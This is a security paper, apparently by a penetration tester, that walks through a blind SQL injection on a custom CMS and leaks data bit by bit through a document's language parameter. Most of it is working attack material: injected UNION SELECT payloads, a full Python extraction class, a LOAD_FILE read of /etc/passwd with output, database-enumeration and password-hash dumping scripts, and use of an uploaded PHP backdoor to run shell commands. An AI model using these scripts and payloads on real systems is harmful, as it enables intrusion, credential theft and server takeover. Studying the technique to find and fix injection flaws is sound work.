Practical SQL Injection: bit by bit

Frego <fregov@gmail.com>

Table of Contents

I hear you already thinking: *yet another paper on SQL injection*. In fact it is, but this time, the injection was a bit more tricky to exploit than usual. I though it deserved a short paper.

1. Introduction

While auditing some network, I end up on a CMS which was self-developed by the client. One of the function of this CMS (surprisingly) was to ease the publication of files on the website. In this CMS, each documents are identified by a number. From this identification number, the URL to the associated document is generated. If the document exists, the user is redirected to it, else the user is redirected to an error page.

```
>> Getting http://host/getdocument.php?id=0
<< header: Location: http://host/documents/identity_en.pdf

>> Getting http://host/getdocument.php?id=22
<< header: Location: http://host/error404.php
```

2. Understanding the injection

The injection by itself is pretty standard. The *id* variable is not sanitized before being used in the SQL request.

```
>> Getting http://host/getdocument.php?id='
<< header: Location: http://host/error404.php
<< <b>Warning</b>:  mysql_num_rows(): supplied argument is not a valid MySQL
<< result resource in >> <b>/var/www/html/getdocument.php</b> on line <b>8</b>
```

Quickly reconstructing the SQL statement, the executed query seems to fetch two rows from the table: the name as a *varchar* and the language of the document represented by an *integer*.

```
>> Getting http://host/getdocument.php?id=22 UNION SELECT 'A',0
<< header: Location: http://host/error404.php
```

Following the investigation, it seems as well that the page is checking if the document exists in the web root directory. A directory traversal is sense less in this case since the script seems to only generate an URL and is not retrieving the document content.

```
>> Getting http://host/getdocument.php?id=22 UNION SELECT 'identity',0
```

```
<< header: Location: http://host/documents/identity_en.pdf
```

Inspecting the language field, two are available: 0 for english, 1 for german. Any other values lead to a german document.

```
>> Getting http://host/getdocument.php?id=22 UNION SELECT 'identity',1
<< header: Location: http://host/documents/identity_de.pdf

>> Getting http://host/getdocument.php?id=22 UNION SELECT 'identity',2
<< header: Location: http://host/documents/identity_de.pdf
```

To summarize, we can’t use the *name* field to retrieve data. If we paste a filename we know it exists, we will end up with an URL containing the filename we already know about. Not really useful. However we can change the language of the document and that’s getting interesting.

3. Exchanging data

As we have seen, the only way to get something modified on the page is through the language and we have only two possibilities: *en* or *de*. Sounds familiar? We are going to read data from the database bit by bit. To make sure the concept is working, we will try to get back a value we sent ourselves.

Character *A* has for ascii code 0x41 which is represented by *01000001* in binary. Assuming that *en* represents bit value 0 and that *de* represents bit value 1, reading the first bit of *A* should set the language to *en*, reading the second bit should set the language to *de*.

```
>> 22 UNION SELECT 'identity',(SELECT ASCII('A') >> 7 & 1)
<< header: Location: http://host/documents/identity_en.pdf

>> 22 UNION SELECT 'identity',(SELECT ASCII('A') >> 6 & 1)
<< header: Location: http://host/documents/identity_de.pdf
```

If we are looping from 7 to 0, we should retrieve all bits and therefore our character *A* back.

Responses	Binary	Ascii letter
en,de,en,en,en,en,en,de	01000001	*A*

4. Automizing the process

All we need to do is to loop from *n* to 0 to get a value of *n* bits. To get a full string, we first need to get its length (32 bits to get a value big enough), and then we need loop over each bytes. A bit of scripting can be quickly arranged to do the work for us.

```
#!/usr/bin/python -i
# -*- coding: utf-8 -*-
# -*- Mode: python -*-

import sys
import urllib2
import re
import rlcompleter, readline
readline.parse_and_bind("tab: complete")

class SqlInjectionBitByBit(object):
  def __init__(self, url, start, end, bitpattern):
    self.__url = url
    self.__start = start
    self.__end = end
    self.__bitpattern = bitpattern

  def __send(self, params):
    """ Send the query and return response header values + response content. """
    http = urllib2.HTTPHandler()
    query = self.__start + params + self.__end
    req = urllib2.Request(self.__url + urllib2.quote(query))
    resp = http.http_open(req)
    data = "\n".join([resp.info().get(i) for  i in resp.info()])
    data += "\n" + "".join([repr(x) for x in resp])
    return data

  def __getBit(self, data):
    """ Get the bit value from the server response. """
    try:
      bit = re.findall(self.__bitpattern[0] % (self.__bitpattern[1],
                                               self.__bitpattern[2]), data)
      if bit[0] == self.__bitpattern[1]: return '0'
      elif bit[0] == self.__bitpattern[2]: return '1'
    except IndexError: raise RuntimeError
    except TypeError: raise RuntimeError

  def __getValue(self, val, n=8):
    """ Get a single value, default 8 bits. """
    byte = ""
    for bit in range(n-1,-1,-1):
      a = self.__getBit(self.__send("(%s >> %d & 1)" % (val, bit)))
      byte += a
    return int(byte, 2)

  def __getLength(self, content):
    """ Return the length of the MySQL server response. """
    return self.__getValue("LENGTH(%s)" % content, 32)

  def __getString(self, content):
    """ Return the response from the MySQL server. """
    length = self.__getLength(content)
    for i in xrange(length+1):
      yield chr(self.__getValue("ASCII(SUBSTR(%s,%d,1))" % (content, i)))

  def query(self, query):
    """ Return the response from the query. """
    try:
      for i in self.__getString("(%s)" % (query)): yield i
    except RuntimeError:
      yield "SQL error."
      raise StopIteration

def printr(data):
  for x in data:
    sys.stdout.write(x)
    sys.stdout.flush()
  print ""
```

We can try to retrieve our first data from the database. Using the class *SqlInjectionBitByBit* is really simple. First argument is the vulnerable URL, the second is the beginning of the SQL query and the third is the end. The last argument is a list representing the regular expression to catch the bit from the server response and their according values. The method *query* is a generator used to read the value we want to retrieve. As we proceed bit by bit, the *printr()* function will display each bytes in real time.

```
>>> q = SqlInjectionBitByBit("http://host/getdocument.php?id=",
...                          "20 UNION SELECT 'identity',",
...                          " -- ",
...                          ["identity_(%s|%s)\.pdf", "en", "de"])
>>> printr(q.query("@@version"))
5.0.45
```

The magic is operating and we can perform full queries.

```
>>> printr(q.query("SELECT LOAD_FILE('/etc/passwd')"))
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
tomcat:x:91:91:Tomcat:/usr/share/tomcat5:/bin/sh
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
```

The game is over, we can now proceed to a normal exploitation.

5. Databases discovery

It’s time to explore the database for juicy information. For that, we need to list every accessible databases and tables.

```
def getr(data): return "".join([x for x in data if x != "\x00"])

def errorcheck(f):
  """ Decorator to catch ValueError. """
  def wrapper(*args, **kwargs):
    try:
      return f(*args, **kwargs)
    except ValueError:
      print "[-] Could not proceed with the request."
  wrapper.func_name = f.func_name
  return wrapper

@errorcheck
def browse_database(dbo):
  n = getr(dbo.query("SELECT count(distinct(db)) FROM mysql.db"))
  for i in xrange(int(n)):
    db = getr(dbo.query("SELECT distinct(db) FROM mysql.db LIMIT %d,1" % (i)))
    print "[%s]" % (db)
    m = getr(dbo.query("SELECT count(table_name) FROM " + \
                       "information_schema.tables WHERE " + \
                       "table_schema='%s'" % db))
    for j in xrange(int(m)):
      table = getr(dbo.query("SELECT table_name FROM " + \
                             "information_schema.tables WHERE " + \
                             "table_schema='%s' LIMIT %d,1" % (db, j)))
      sys.stdout.write(" - %s[" % (table))
      sys.stdout.flush()
      l = getr(dbo.query("SELECT count(column_name) FROM " + \
                         "information_schema.columns WHERE " + \
                         "table_schema='%s' and table_name='%s'" %(db, table)))
      for k in xrange(int(l)):
        col = getr(dbo.query("SELECT column_name FROM " + \
                             "information_schema.columns WHERE " + \
                             "table_schema='%s' " % (db) + \
                             "and table_name='%s' LIMIT %d,1" % (table, k)))
        sys.stdout.write("%s," % (col))
        sys.stdout.flush()
      print "\x08]"
```

Running the function *browse_database* prints us the database schema. For the purpose of the paper, the content of the CMS has been changed by a default Joomla installation. However, the concept remains the same.

```
>>> browse_database(q)
[jos]
 - jos_banner[bid,cid,type,name,imptotal,impmade,clicks,imageurl,clickurl,date,
              showBanner,checked_out,checked_out_time,editor,custombannercode]
 - jos_bannerclient[cid,name,contact,email,extrainfo,checked_out,
                    checked_out_time,editor]
 - jos_bannerfinish[bid,cid,type,name,impressions,clicks,imageurl,datestart,
                    dateend]
 - jos_categories[id,parent_id,title,name,image,section,image_position,
                  description, published,checked_out,checked_out_time,editor,
                  ordering,access,count,params]
 - jos_components[id,name,link,menuid,parent,admin_menu_link, admin_menu_alt,
                  option,ordering,admin_menu_img,iscore,params]
 - jos_contact_details[id,name,con_position,address,suburb,state, country,
                       postcode,telephone,fax,misc,image,imagepos,email_to,
                       default_con, published,checked_out,checked_out_time,
                       ordering,params,user_id,catid,access]
 - jos_content[id,title,title_alias,introtext,fulltext,state,sectionid,mask,
               catid,created,created_by,created_by_alias,modified,modified_by,
               checked_out,checked_out_time,publish_up,publish_down,images,urls,
               attribs,version,parentid,ordering,metakey,metadesc,access,hits]
 - jos_content_frontpage[content_id,ordering]
 - jos_content_rating[content_id,rating_sum,rating_count,lastip]
 - jos_core_acl_aro[aro_id,section_value,value,order_value,name,hidden]
 - jos_core_acl_aro_groups[group_id,parent_id,name,lft,rgt]
 - jos_core_acl_aro_sections[section_id,value,order_value,name,hidden]
 - jos_core_acl_groups_aro_map[group_id,section_value,aro_id]
 - jos_core_log_items[time_stamp,item_table,item_id,hits]
 - jos_core_log_searches[search_term,hits]
 - jos_equotes[id,quote,author,source,publish_up,publish_down,published]
 - jos_groups[id,name]
 - jos_mambots[id,name,element,folder,access,ordering,published,iscore,
               client_id,checked_out,checked_out_time,params]
 - jos_menu[id,menutype,name,link,type,published,parent,componentid,
            sublevel,ordering,checked_out,checked_out_time,pollid,browserNav,
            access,utaccess,params]
 - jos_messages[message_id,user_id_from,user_id_to,folder_id,date_time,state,
                priority,subject,message]
 - jos_messages_cfg[user_id,cfg_name,cfg_value]
 - jos_modules[id,title,content,ordering,position,checked_out,
               checked_out_time,published,module,numnews,access,showtitle,
               params,iscore,client_id]
 - jos_modules_menu[moduleid,menuid]
 - jos_newsfeeds[catid,id,name,link,filename,published,numarticles,cache_time,
                 checked_out,checked_out_time,ordering]
 - jos_poll_data[id,pollid,text,hits]
 - jos_poll_date[id,date,vote_id,poll_id]
 - jos_poll_menu[pollid,menuid]
 - jos_polls[id,title,voters,checked_out,checked_out_time,published,access,lag]
 - jos_sections[id,title,name,image,scope,image_position,description,
                published,checked_out,checked_out_time,ordering,access,
                count,params]
 - jos_session[username,time,session_id,guest,userid,usertype,gid]
 - jos_stats_agents[agent,type,hits]
 - jos_template_positions[id,position,description]
 - jos_templates_menu[template,menuid,client_id]
 - jos_users[id,name,username,email,password,usertype,block,sendEmail,
             gid,registerDate,lastvisitDate,activation,params]
 - jos_usertypes[id,name,mask]
 - jos_weblinks[id,catid,sid,title,url,description,date,hits,published,
                checked_out,checked_out_time,ordering,archived,approved,params]
[test]
 - documents[id,name,lang]
[test\_%]
```

The interesting table is the one containing the users and the password hashes.

```
@errorcheck
def list_jos_users_hashes(dbo):
  n = getr(dbo.query("SELECT count(id) FROM jos.jos_users"))
  for i in xrange(int(n)):
    printr(dbo.query("SELECT CONCAT(username,':',password) " + \
                     "FROM jos.jos_users LIMIT %d,1"%i))
```

```
>>> list_jos_users_hashes(q)
admin:5f4dcc3b5aa765d61d8327deb882cf99
```

6. Getting a shell

Logging with the administrator credentials, the uploading functionality was found insecure as well. The content type wasn’t checked and it was possible to upload PHP code.

```
$ ./tricca.py
-=[ tricca v0.1]=-

Type 'usage()' for help.
Type 'config()' for current config.

>>> config.url = "http://host/documents/bd.php"
>>> ping()
Backdoor available ;-)
>>> shell("id")
uid=48(apache) gid=48(apache) groups=48(apache) context=root:system_r:httpd_t:s0
```

7. Conclusion

Whereas this attack was successful, it was really slow and produced a fair amount of logs. Under normal circumstances, it is advised avoiding reading the database bit by bit.

I hope you enjoyed this little paper. Feedbacks and remarks are appreciated. I will probably write more on different topics in the near future. If you are interested, announcements will be done over my fresh new blog: http://practicalexploitation.blogspot.com